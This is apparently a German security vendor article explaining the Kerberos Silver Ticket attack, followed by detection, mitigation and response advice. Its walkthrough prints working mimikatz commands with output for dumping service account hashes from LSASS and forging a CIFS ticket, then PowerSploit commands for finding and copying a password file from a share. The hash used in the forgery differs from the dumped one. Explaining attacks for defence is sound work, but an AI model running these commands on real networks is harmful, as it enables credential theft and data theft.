Silver Ticket Attack
Ähnlich im Konzept zum Golden Ticket beinhaltet ein Silver Ticket-Angriff das Kompromittieren von Anmeldeinformationen und das Ausnutzen der Konstruktion des Kerberos-Protokolls. Im Gegensatz zum Golden Ticket — das einem Angreifer uneingeschränkten Zugriff auf die gesamte Domäne gewährt — ermöglicht ein Silver Ticket dem Angreifer nur das Fälschen von Ticket-Granting-Service (TGS)-Tickets für bestimmte Dienste.TGS-Tickets werden mit dem Passwort-Hash des jeweiligen Dienstkontos verschlüsselt; wenn ein Angreifer also den Hash eines Dienstkontos stiehlt, kann er TGS-Tickets für genau diesen Dienst ausstellen. Auch wenn der Umfang eines Silver-Ticket-Angriffs kleiner sein kann, ist er dennoch ein mächtiges Werkzeug im Arsenal eines Angreifers, das persistierenden und unauffälligen Zugriff auf Ressourcen ermöglicht. Da lediglich der Passwort-Hash des Dienstkontos benötigt wird, ist die Durchführung außerdem deutlich einfacher als bei einem Golden-Ticket-Angriff. Techniken wie das Auslesen von Hashes aus LSASS.exe und Kerberoasting sind gängige Methoden, mit denen Angreifer an Dienstkonto-Password-Hashes gelangen.
Bedrohungszusammenfassung
Ziel: Active Directory
Tools: mimikatz, impacket, PowerSploit
ATT&CK® Taktik: Credential Access
ATT&CK-Technik: T1558.002
Schwierigkeit
Erkennung: Hart
Milderung: Hart
Antwort: Mittel
Anleitung für Angriffe: Wie ein Silver Ticket-Angriff funktioniert
SCHRITT 1
Die Anmeldeinformationen eines Dienstkontos kompromittieren
Um die Fähigkeit zu erlangen, TGS-Tickets zu erstellen, muss ein Angreifer zuerst den Passworthash eines Dienstkontos kompromittieren. In diesem Beispiel kompromittiert ein Angreifer, der einen Dateiserver kompromittiert hat, nun den Passworthash eines Dienstkontos:
PS> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
# ... output truncated ... #
Authentication Id : 0 ; 29151002 (00000000:01bccf1a)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 21/07/2020 10:26:16
SID : S-1-5-90-0-5
msv :
[00000003] Primary
* Username : FileServer1$
* Domain : DOMAIN
* NTLM : 281fd98680ed31a9212256ada413db50
* SHA1 : c8fe518dfa728eb92eb2566328f0123e3bcb2717
# ... output truncated ... #
mimikatz(commandline) # exit
Bye!
SCHRITT 2
Kerberos-TGS-Tickets erstellen
Tools like mimikatz can be used to mint Silver Tickets. The process for forging TGS tickets is similar to minting Golden Tickets, and with mimikatz uses the same kerberos::golden method, specifying the password hash of the service account instead of the krbtgt, along with the following parameters:
- /domain — Der vollständig qualifizierte Domänenname der Active Directory-Domäne
- /sid — Die SID der Active Directory-Domäne
- /user — Der Benutzername, der imitiert werden soll
- /target — Der vollqualifizierte Domänenname des Servers
- /service — Der Ziel-Dienstname
- /rc4 — Der NTLM/RC4-Passworthash
PS> .\mimikatz.exe "kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt" "misc::cmd" exit
mimikatz(commandline) # kerberos::golden /user:NonExistentUser /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /rc4:8fbe632c51039f92c21bcef456b31f2b /target:FileServer1.domain.com /service:cifs /ptt
User : NonExistentUser
Domain : domain.com (DOMAIN)
SID : S-1-5-21-5840559-2756745051-1363507867
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 8fbe632c51039f92c21bcef456b31f2b - rc4_hmac_nt
Service : cifs
Target : FileServer1.domain.com
Lifetime : 27/07/2020 12:20:26 ; 25/07/2030 12:20:26 ; 25/07/2030 12:20:26
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
mimikatz(commandline) # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7767043B8
mimikatz(commandline) # exit
Bye!
SCHRITT 3
Verwenden Sie die gefälschten Tickets, um weitere Ziele zu erreichen
Im vorherigen Schritt hat der Angreifer ein Silver Ticket gefälscht und es in eine neue cmd.exe-Sitzung eingespeist. Das vom Angreifer geprägte Silver Ticket spezifizierte den cifs-Dienst, der es dem Angreifer ermöglichen wird, das gefälschte TGS zu nutzen, um auf Dateifreigaben zuzugreifen. Da das TGS gefälscht ist, kann es für einen Benutzer erstellt werden, der tatsächlich nicht in der Domäne existiert, was es für die Respondenten schwieriger macht, den Angreifer zu verfolgen. In diesem Beispiel verwendet der Angreifer das gefälschte Ticket und das Cmdlet Find-InterestingFile aus dem PowerShell-Modul PowerSploit um die Dateifreigabe nach sensiblen Daten zu durchsuchen und diese zu exfiltrieren.
PS> Find-InterestingFile -Path \\FileServer1.domain.com\S$\shares\
FullName : \\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx
Owner : DOMAIN\JOED
LastAccessTime : 27/07/2020 12:47:44
LastWriteTime : 27/07/2020 12:47:44
CreationTime : 10/04/2011 10:04:50
Length : 76859
PS> Copy-Item -Path "\\FileServer1.domain.com\S$\shares\IT\Service Account Passwords.xlsx" -Destination "C:\Windows\Temp\a20ds3"
PS>
Erkennen, Minderung und Reaktion
Erkennen
Schwierigkeitsgrad: Schwer
Der normale Prozess zum Erhalten eines Ticket-Granting-Service-Tickets beinhaltet die Anfrage an einen Domain-Controller, eines zu generieren. Nachdem der Anrufer seine Identität nachgewiesen hat, antwortet der Domain-Controller mit einem TGS, das mit dem Passwort des Dienstkontos verschlüsselt ist. Da der Angreifer dieses Passwort jedoch kompromittiert hat, können sie TGS-Tickets prägen, ohne mit dem Domain-Controller zu kommunizieren. Das Erkennen von Silver Tickets ist daher nur am Endpunkt möglich und beinhaltet die Untersuchung von TGS-Tickets auf subtile Anzeichen von Manipulation, wie zum Beispiel:
- Benutzernamen, die nicht existieren
- Geänderte (hinzugefügte oder entfernte) Gruppenmitgliedschaften
- Diskrepanzen zwischen Benutzername und ID
- Schwächere als normale Verschlüsselungstypen oder Ticketlaufzeiten, die das Domänenmaximum überschreiten (die standardmäßige Laufzeit einer Domäne beträgt 10 Stunden; der Standardwert von mimikatz beträgt 10 Jahre)
Das Windows-Ereignisprotokoll enthält mehrere Überwachungsereignisse, die zur Erkennung von Silver Tickets nützlich sind:
Ereignis
Quelle
Information
Auditierung der Gruppenmitgliedschaft: Ereignis-ID 4627
Mitgliedercomputer
- Sicherheitskennung (SID) des Benutzers
- Gruppenmitgliedschaften
Überwachungsprotokoll Anmeldung: Ereignis-ID 4624
Mitgliedercomputer
- Sicherheitskennung (SID) des Benutzers
- Benutzername
- Quell-IP (zeigt möglicherweise kompromittierten Host an)
Mildern
Schwierigkeitsgrad: Mittel
Da Silver Tickets den Kerberos-Protokoll missbrauchen, kann das Risiko ihres Einsatzes nicht vollständig ausgeschlossen werden. Es gibt jedoch mehrere Milderungsmaßnahmen, die es einem Angreifer erschweren können, die Passworthashes von Dienstkonten zu kompromittieren.
- Adoptieren Sie starke Passworthygiene-Praktiken für Dienstkonten: Ihre Passwörter sollten zufällig generiert werden, mindestens 30 Zeichen lang sein und routinemäßig geändert werden.
- Aktivieren Sie PAC Validation. Obwohl es bekannte Einschränkungen gibt, gibt es einige Situationen, in denen es bei der Erkennung und Verhinderung von Silver-Tickets helfen kann.
- Entfernen Sie administrative Benutzerrechte auf Mitglieder-Workstations und setzen Sie kontrollierte Privilegienerhöhungslösungen ein.
- Reduzieren Sie den administrativen Zugriff auf Mitgliederarbeitsstationen und Server auf das Mindestmaß.
- Verwenden Sie Lösungen wie Microsoft LAPS um starke, zufällige und einzigartige Passwörter für lokale Administrator-Konten zu erstellen und sie automatisch in regelmäßigen Abständen zu rotieren.
- Wenden Sie die empfohlenen Gegenmaßnahmen für Kerberoasting an.
- Erlauben Sie es Benutzern nicht, administrative Privilegien über Sicherheitsgrenzen hinweg zu besitzen. Zum Beispiel sollte ein Angreifer, der zunächst eine Arbeitsstation kompromittiert, nicht in der Lage sein, Privilegien zu eskalieren, um von der Arbeitsstation auf einen Server oder Domain-Controller zu wechseln.
Antworten
Schwierigkeitsgrad: Mittel
Wenn ein Silver Ticket erkannt wird, sollten die folgenden Reaktionsmaßnahmen ergriffen werden:
- Aktivieren Sie den Incident-Response-Prozess und alarmieren Sie das Incident-Response-Team.
- Quarantäne für alle betroffenen Computer zur forensischen Untersuchung sowie für Ausrottungs- und Wiederherstellungsaktivitäten.
- Setzen Sie das Passwort des kompromittierten Servicekontos zurück.
Teilen auf
Zugehörige Cybersecurity-Angriffe anzeigen
Missbrauch von Entra ID-Anwendungsberechtigungen – Funktionsweise und Verteidigungsstrategien
AdminSDHolder-Modifikation – Funktionsweise und Verteidigungsstrategien
AS-REP Roasting Attack - Funktionsweise und Verteidigungsstrategien
Hafnium-Angriff - Funktionsweise und Verteidigungsstrategien
DCSync-Angriffe erklärt: Bedrohung für die Active Directory Security
Pass-the-Hash-Angriff
Verständnis von Golden Ticket-Angriffen
Angriffe auf Group Managed Service Accounts
DCShadow-Angriff – Funktionsweise, Beispiele aus der Praxis & Verteidigungsstrategien
ChatGPT Prompt Injection: Risiken, Beispiele und Prävention verstehen
NTDS.dit-Passwortextraktionsangriff
Kerberoasting-Angriff – Funktionsweise und Verteidigungsstrategien
Pass-the-Ticket-Attacke erklärt: Risiken, Beispiele & Verteidigungsstrategien
Password-Spraying-Angriff
Angriff zur Extraktion von Klartext-Passwörtern
Zerologon-Schwachstelle erklärt: Risiken, Exploits und Milderung
Ransomware-Angriffe auf Active Directory
Active Directory mit dem Skeleton Key-Angriff entsperren
Laterale Bewegungen: Was es ist, wie es funktioniert und Präventionsmaßnahmen
Man-in-the-Middle (MITM)-Angriffe: Was sie sind & Wie man sie verhindert
Warum ist PowerShell so beliebt bei Angreifern?
4 Angriffe auf Dienstkonten und wie man sich dagegen schützt
Wie Sie Malware-Angriffe daran hindern, Ihr Geschäft zu beeinträchtigen
Was ist Credential Stuffing?
Kompromittierung von SQL Server mit PowerUpSQL
Was sind Mousejacking-Angriffe und wie kann man sich dagegen verteidigen
Diebstahl von Anmeldeinformationen mit einem Security Support Provider (SSP)
Rainbow-Table-Attacken: Wie sie funktionieren und wie man sich dagegen verteidigt
Ein umfassender Blick auf Passwortangriffe und wie man sie stoppt
LDAP-Aufklärung
Umgehen der MFA mit dem Pass-the-Cookie-Angriff
Golden SAML-Angriff